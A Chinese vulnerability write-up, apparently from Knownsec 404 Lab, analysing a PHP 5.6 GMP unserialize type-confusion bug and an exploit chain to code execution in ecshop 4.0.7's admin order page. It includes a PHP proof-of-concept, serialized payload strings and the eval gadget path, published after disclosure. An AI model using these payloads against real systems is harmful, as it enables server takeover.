内容简介：本文初完成于2020年3月31日，由于涉及到0day利用，所以于2020年3月31日报告厂商、CNVD漏洞平台，满足90天漏洞披露期，遂公开。前几天偶然看到了一篇在Hackerone上提交的漏洞报告，在这个漏洞中，漏洞发现者提出了很有趣的利用，作者利用GMP的一个类型混淆漏洞，配合相应的利用链可以构造mybb的一次代码执行，这里我们就一起来看看这个漏洞。
作者：LoRexxar'@知道创宇404实验室
时间：2020年3月31日
English Version: https://paper.seebug.org/1268
本文初完成于2020年3月31日，由于涉及到0day利用，所以于2020年3月31日报告厂商、CNVD漏洞平台，满足90天漏洞披露期，遂公开。
前几天偶然看到了一篇在Hackerone上提交的漏洞报告，在这个漏洞中，漏洞发现者提出了很有趣的利用，作者利用GMP的一个类型混淆漏洞，配合相应的利用链可以构造mybb的一次代码执行，这里我们就一起来看看这个漏洞。
https://hackerone.com/reports/198734
以下文章部分细节，感谢漏洞发现者@taoguangchen的帮助。
GMP类型混淆漏洞
漏洞利用条件
- php 5.6.x
- 反序列化入口点
- 可以触发__wakeup的触发点（在php < 5.6.11以下，可以使用内置类）
漏洞详情
gmp.c
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
zend_object_handlers.c
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。
__wakeup 等魔术方法可以导致ZVAL在内存中被修改。因此，攻击者可以将**object转化为整数型或者bool型的ZVAL，那么我们就可以通过 Z_OBJ_P 访问存储在对象储存中的任何对象，这也就意味着可以通过 zend_hash_copy 覆盖任何对象中的属性，这可能导致很多问题，在一定场景下也可以导致安全问题。
或许仅凭借代码片段没办法理解上述的话，但我们可以用实际测试来看看。
首先我们来看一段测试代码
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
class b{
var $ryat =1;
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$obj2 = new b;
$obj3 = new stdClass;
$obj3->aa =2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
$obj4 = new stdClass;
var_dump($x);
var_dump($obj);
var_dump($obj2);
var_dump($obj3);
var_dump($obj4);
?>
在代码中我展示了多种不同情况下的环境。
让我们来看看结果是什么？
array(1) {
[0]=>
∫(1)
}
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
∫(1)
}
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}
我成功修改了第一个声明的对象。
但如果我将反序列化的类改成b会发生什么呢？
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';
很显然的是，并不会影响到其他的类变量
array(1) {
[0]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(b)#5 (1) {
["ryat"]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
*RECURSION*
["num"]=>
string(2) "32"
}
}
["num"]=>
string(2) "32"
}
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#6 (0) {
}
如果我们给class b加一个 __Wakeup 函数，那么又会产生一样的效果。
但如果我们把wakeup魔术方法中的变量设置为2
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 2;
}
}
返回的结果可以看出来，我们成功修改了第二个声明的对象。
array(1) {
[0]=>
∫(2)
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (4) {
["ryat"]=>
int(1)
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
∫(2)
}
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}
但如果我们把ryat改为4，那么页面会直接返回500，因为我们修改了没有分配的对象空间。
在完成前面的试验后，我们可以把漏洞的利用条件简化一下。
如果我们有一个可控的 反序列化入口 ，目标 后端 PHP 安装了GMP插件 （这个插件在原版php中不是默认安装的，但部分打包环境中会自带），如果我们找到一个 可控的 __wakeup 魔术方法 ，我们就可以修改反序列化前声明的对象属性，并配合场景产生实际的安全问题。
如果目标的php版本在5.6 <= 5.6.11中，我们可以直接使用内置的魔术方法来触发这个漏洞。
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
真实世界案例
在讨论完GMP类型混淆漏洞之后，我们必须要讨论一下这个漏洞在真实场景下的利用方式。
漏洞的发现者Taoguang Chen提交了一个在mybb中的相关利用。
https://hackerone.com/reports/198734
这里我们不继续讨论这个漏洞，而是从头讨论一下在ecshop中的利用方式。
漏洞环境
- ecshop 4.0.7
- php 5.6.9
反序列化漏洞
首先我们需要找到一个反序列化入口点，这里我们可以全局搜索 unserialize ，挨个看一下我们可以找到两个可控的反序列化入口。
其中一个是search.php line 45
...
{
$string = base64_decode(trim($_GET['encode']));
if ($string !== false)
{
$string = unserialize($string);
if ($string !== false)
...
这是一个前台的入口，但可惜的是引入初始化文件在反序列化之后，这也就导致我们没办法找到可以覆盖类变量属性的目标，也就没办法进一步利用。
还有一个是admin/order.php line 229
/* 取得上一个、下一个订单号 */
if (!empty($_COOKIE['ECSCP']['lastfilter']))
{
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));
...
后台的表单页的这个功能就满足我们的要求了，不但可控，还可以用urlencode来绕过ecshop对全局变量的过滤。
这样一来我们就找到了一个可控并且合适的反序列化入口点。
寻找合适的类属性利用链
在寻找利用链之前，我们可以用
get_declared_classes()
来确定在反序列化时，已经声明定义过的类。
在我本地环境下，除了PHP内置类以外我一共找到13个类
[129]=> string(3) "ECS" [130]=> string(9) "ecs_error" [131]=> string(8) "exchange" [132]=> string(9) "cls_mysql" [133]=> string(11) "cls_session" [134]=> string(12) "cls_template" [135]=> string(11) "certificate" [136]=> string(6) "oauth2" [137]=> string(15) "oauth2_response" [138]=> string(14) "oauth2_request" [139]=> string(9) "transport" [140]=> string(6) "matrix" [141]=> string(16) "leancloud_client"
从代码中也可以看到在文件头引入了多个库文件
require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');
这里我们主要关注init.php，因为在这个文件中声明了ecshop的大部分通用类。
在逐个看这里面的类变量时，我们可以敏锐的看到一个特殊的变量，由于ecshop的后台结构特殊，页面内容大多都是由模板编译而成，而这个模板类恰好也在init.php中声明
require(ROOT_PATH . 'includes/cls_template.php'); $smarty = new cls_template;
回到order.php中我们寻找与 $smarty 相关的方法，不难发现，主要集中在两个方法中
...
$smarty->assign('shipping', $shipping);
$smarty->display('print.htm');
...
而这里我们主要把视角集中在display方法上。
粗略的浏览下display方法的逻辑大致是
请求相应的模板文件 --> 经过一系列判断，将相应的模板文件做相应的编译 --> 输出编译后的文件地址
比较重要的代码会在 make_compiled 这个函数中被定义
function make_compiled($filename)
{
$name = $this->compile_dir . '/' . basename($filename) . '.php';
...
if ($this->force_compile || $filestat['mtime'] > $expires)
{
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename));
if (file_put_contents($name, $source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name);
}
$source = $this->_eval($source);
}
return $source;
}
当流程走到这一步的时候，我们需要先找到我们的目标是什么？
重新审视 cls_template.php 的代码，我们可以发现涉及到代码执行的只有几个函数。
function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据
{
$pa = $this->str_trim($val);
foreach ($pa AS $value)
{
if (strrpos($value, '='))
{
list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));
if ($b{0} == '$')
{
if ($type)
{
eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
}
else
{
$para[$a] = $this->get_val(substr($b, 1));
}
}
else
{
$para[$a] = $b;
}
}
}
return $para;
}
get_para只在select中调用，但是没找到能触发select的地方。
然后是pop_vars
function pop_vars()
{
$key = array_pop($this->_temp_key);
$val = array_pop($this->_temp_val);
if (!empty($key))
{
eval($key);
}
}
恰好配合GMP我们可以控制 $this->_temp_key 变量，所以我们只要能在上面的流程中找到任意地方调用这个方法，我们就可以配合变量覆盖构造一个代码执行。
在回看刚才的代码流程时，我们从编译后的PHP文件中找到了这样的代码
order_info.htm.php
<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
在遍历完表单之后，正好会触发 pop_vars 。
这样一来，只要我们控制覆盖 cls_template 变量的 _temp_key 属性，我们就可以完成一次getshell
最终利用效果
Timeline
- 2020.03.31 发现漏洞。
- 2020.03.31 将漏洞报送厂商、CVE、CNVD等。
- 2020.07.08 符合90天漏洞披露期，公开细节。
以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持 码农网
猜你喜欢:
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
Python学习手册
Mark Lutz / 侯靖 / 机械工业出版社 / 2009-8 / 89.00元
《Python学习手册(第3版)》讲述了：Python可移植、功能强大、易于使用，是编写独立应用程序和脚本应用程序的理想选择。无论你是刚接触编程或者刚接触Python，通过学习《Python学习手册(第3版)》，你可以迅速高效地精通核心Python语言基础。读完《Python学习手册(第3版)》，你会对这门语言有足够的了解，从而可以在你所从事的任何应用领域中使用它。 《Python学习手册(......一起来看看 《Python学习手册》 这本书的介绍吧!
